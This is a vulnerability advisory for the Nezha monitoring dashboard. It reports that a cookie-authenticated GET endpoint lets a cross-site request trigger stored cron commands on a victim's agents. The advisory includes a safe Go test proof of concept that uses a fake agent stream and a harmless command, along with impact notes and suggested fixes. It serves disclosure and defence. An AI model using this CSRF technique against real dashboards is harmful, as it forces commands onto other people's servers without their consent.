Nezha has cross-site GET request that can trigger stored cron commands on a victim's agents

False-positive screening:

• The endpoint is not read-only: the safe proof below observed an in-memory agent stream receiving the command task.
• The route is authenticated, and the unauthenticated negative control failed with ApiErrorUnauthorized and dispatched no task.
• SameSite=Lax mitigates cross-site POSTs, but this action uses GET; Lax cookies are still sent on top-level cross-site GET navigations, which is why state-changing GET endpoints remain CSRF-sensitive.
• The attacker must know or guess a cron ID owned by the victim. IDs are numeric. The issue does not allow creating or editing a command; it forces execution of an existing stored task.
• The permission check still limits the triggered task to the victim's own task or an admin's task, but CSRF abuses the victim's browser/session to satisfy that check.

PoC

Safe local proof used a Go test overlay only; no repository files were modified for the proof and no real command was executed. The test creates an in-memory SQLite database, a victim user, a victim-owned server with an in-memory fake task stream, and a victim-owned cron task with command text touch /tmp/should-not-run. It then performs two requests:

1. Negative control: cross-site-style GET without the nz-jwt cookie. Expected result: response contains ApiErrorUnauthorized; zero tasks are dispatched.
2. Positive proof: cross-site-style GET with the victim's nz-jwt cookie. Expected result: API response succeeds and exactly one task is dispatched to the fake agent stream with Id=7, Type=model.TaskTypeCommand, and Data="touch /tmp/should-not-run".

Command run from a clean checkout of the tested tree:

cat >/tmp/nezha-docs-stub.go <<'EOF'
package docs

var SwaggerInfo = struct {
	Version string
}{Version: "test"}
EOF

cat >/tmp/nezha-cron-csrf-poc-test.go <<'EOF'
package controller

import (
	"context"
	"encoding/json"
	"net/http"
	"net/http/httptest"
	"strings"
	"testing"
	"time"

	"github.com/gin-gonic/gin"
	"github.com/patrickmn/go-cache"
	"google.golang.org/grpc/metadata"
	"gorm.io/driver/sqlite"
	"gorm.io/gorm"

	"github.com/nezhahq/nezha/model"
	"github.com/nezhahq/nezha/pkg/i18n"
	pb "github.com/nezhahq/nezha/proto"
	"github.com/nezhahq/nezha/service/singleton"
)

type capturedTaskStream struct { tasks []*pb.Task }

func (s *capturedTaskStream) Send(task *pb.Task) error { s.tasks = append(s.tasks, task); return nil }
func (s *capturedTaskStream) Recv() (*pb.TaskResult, error) { return nil, context.Canceled }
func (s *capturedTaskStream) SetHeader(metadata.MD) error { return nil }
func (s *capturedTaskStream) SendHeader(metadata.MD) error { return nil }
func (s *capturedTaskStream) SetTrailer(metadata.MD) {}
func (s *capturedTaskStream) Context() context.Context { return context.Background() }
func (s *capturedTaskStream) SendMsg(any) error { return nil }
func (s *capturedTaskStream) RecvMsg(any) error { return context.Canceled }

func TestCronManualTriggerAcceptsCookieAuthenticatedCrossSiteGET(t *testing.T) {
	gin.SetMode(gin.TestMode)
	db, err := gorm.Open(sqlite.Open("file:cron_csrf_poc?mode=memory&cache=shared"), &gorm.Config{})
	if err != nil { t.Fatal(err) }
	if err := db.AutoMigrate(&model.User{}, &model.Server{}, &model.Cron{}); err != nil { t.Fatal(err) }
	if err := db.Create(&model.User{Common: model.Common{ID: 100}, Username: "victim", Role: model.RoleMember}).Error; err != nil { t.Fatal(err) }
	if err := db.Create(&model.Server{Common: model.Common{ID: 200, UserID: 100}, Name: "victim-agent"}).Error; err != nil { t.Fatal(err) }

	singleton.DB = db
	singleton.Loc = time.UTC
	singleton.Cache = cache.New(time.Minute, time.Minute)
	singleton.Localizer = i18n.NewLocalizer("en_US", "nezha", "translations", i18n.Translations)
	singleton.Conf = &singleton.ConfigClass{Config: &model.Config{ConfigForGuests: model.ConfigForGuests{SiteName: "test"}, JWTSecretKey: "test-secret-for-cron-csrf-poc", JWTTimeout: 1}}
	singleton.ServerShared = singleton.NewServerClass()
	singleton.CronShared = singleton.NewCronClass()
	defer singleton.CronShared.Stop()

	stream := &capturedTaskStream{}
	server, ok := singleton.ServerShared.Get(200)
	if !ok { t.Fatal("server missing from singleton") }
	server.TaskStream = stream

	cronTask := &model.Cron{Common: model.Common{ID: 7, UserID: 100}, Name: "victim cron", TaskType: model.CronTypeCronTask, Command: "touch /tmp/should-not-run", Servers: []uint64{200}, Cover: model.CronCoverIgnoreAll}
	singleton.CronShared.Update(cronTask)

	authMiddleware := initParams()
	if err := authMiddleware.MiddlewareInit(); err != nil { t.Fatal(err) }
	token, _, err := authMiddleware.TokenGenerator(map[string]interface{}{"user_id": "100", "ip": "203.0.113.10"})
	if err != nil { t.Fatal(err) }

	r := gin.New()
	r.Use(func(c *gin.Context) { c.Set(model.CtxKeyRealIPStr, "203.0.113.10"); c.Next() })
	auth := r.Group("", authMiddleware.MiddlewareFunc())
	auth.GET("/api/v1/cron/:id/manual", commonHandler(manualTriggerCron))

	wNoCookie := httptest.NewRecorder()
	reqNoCookie := httptest.NewRequest(http.MethodGet, "/api/v1/cron/7/manual", nil)
	reqNoCookie.Header.Set("Origin", "https://attacker.example")
	reqNoCookie.Header.Set("Sec-Fetch-Site", "cross-site")
	r.ServeHTTP(wNoCookie, reqNoCookie)
	if !strings.Contains(wNoCookie.Body.String(), "ApiErrorUnauthorized") { t.Fatalf("expected unauthenticated control to fail, got status=%d body=%s", wNoCookie.Code, wNoCookie.Body.String()) }
	if len(stream.tasks) != 0 { t.Fatalf("unauthenticated control dispatched %d task(s)", len(stream.tasks)) }

	w := httptest.NewRecorder()
	req := httptest.NewRequest(http.MethodGet, "/api/v1/cron/7/manual", nil)
	req.Header.Set("Origin", "https://attacker.example")
	req.Header.Set("Sec-Fetch-Site", "cross-site")
	req.AddCookie(&http.Cookie{Name: "nz-jwt", Value: token})
	r.ServeHTTP(w, req)

	var resp struct { Success bool `json:"success"`; Error string `json:"error"` }
	if err := json.Unmarshal(w.Body.Bytes(), &resp); err != nil { t.Fatalf("decode response: %v body=%s", err, w.Body.String()) }
	if !resp.Success { t.Fatalf("manual trigger failed: status=%d body=%s", w.Code, w.Body.String()) }
	if len(stream.tasks) != 1 { t.Fatalf("expected one dispatched task, got %d", len(stream.tasks)) }
	dispatched := stream.tasks[0]
	if dispatched.Id != 7 || dispatched.Type != model.TaskTypeCommand || dispatched.Data != "touch /tmp/should-not-run" { t.Fatalf("unexpected dispatched task: id=%d type=%d data=%q", dispatched.Id, dispatched.Type, dispatched.Data) }
}
EOF

cat >/tmp/nezha-overlay-cron-csrf.json <<'EOF'
{
  "Replace": {
    "/path/to/nezha/cmd/dashboard/docs/docs.go": "/tmp/nezha-docs-stub.go",
    "/path/to/nezha/cmd/dashboard/controller/cron_csrf_poc_test.go": "/tmp/nezha-cron-csrf-poc-test.go"
  }
}
EOF
# Replace /path/to/nezha above with the local checkout path, then run:
go test -vet=off -overlay=/tmp/nezha-overlay-cron-csrf.json ./cmd/dashboard/controller -run TestCronManualTriggerAcceptsCookieAuthenticatedCrossSiteGET -count=1 -v

Observed output in this environment:

=== RUN   TestCronManualTriggerAcceptsCookieAuthenticatedCrossSiteGET
--- PASS: TestCronManualTriggerAcceptsCookieAuthenticatedCrossSiteGET (0.00s)
PASS
ok  	github.com/nezhahq/nezha/cmd/dashboard/controller	0.019s

The -vet=off flag was only needed because this checkout lacks the generated cmd/dashboard/docs directory and Go vet still tries to chdir into the overlay-created package directory. The overlay includes a minimal docs package stub so the controller package can compile without generating Swagger files.

Cleanup:

rm -f /tmp/nezha-docs-stub.go /tmp/nezha-cron-csrf-poc-test.go /tmp/nezha-overlay-cron-csrf.json

Impact

A remote attacker can cause a logged-in dashboard user to trigger an existing cron task by making the user's browser navigate to /api/v1/cron/<known-id>/manual. If that cron task dispatches an agent command, the command is sent to the victim's online agent without the victim intentionally clicking the manual trigger in the dashboard.

Security impact is integrity and availability:

• Integrity: forced execution of a stored command on victim-controlled agents.
• Availability: forced execution of disruptive stored tasks, repeated task starts, or repeated notifications/offline failure paths.
• Confidentiality: not directly demonstrated; the PoC does not show data exfiltration.

Suggested remediation

• Make manual cron triggering a non-idempotent method such as POST /api/v1/cron/:id/manual instead of GET.
• Require a CSRF token for cookie-authenticated state-changing requests, or reject unsafe cross-site requests with Origin/Referer and Fetch Metadata validation.
• Consider not accepting JWTs from cookies for state-changing API calls unless a CSRF token is present.
• Add a regression test that sends a cross-site-style GET with a valid cookie and asserts no cron task is dispatched.
• If frontend compatibility requires cookies, keep SameSite=Lax or stricter, but do not rely on it to protect state-changing GET routes.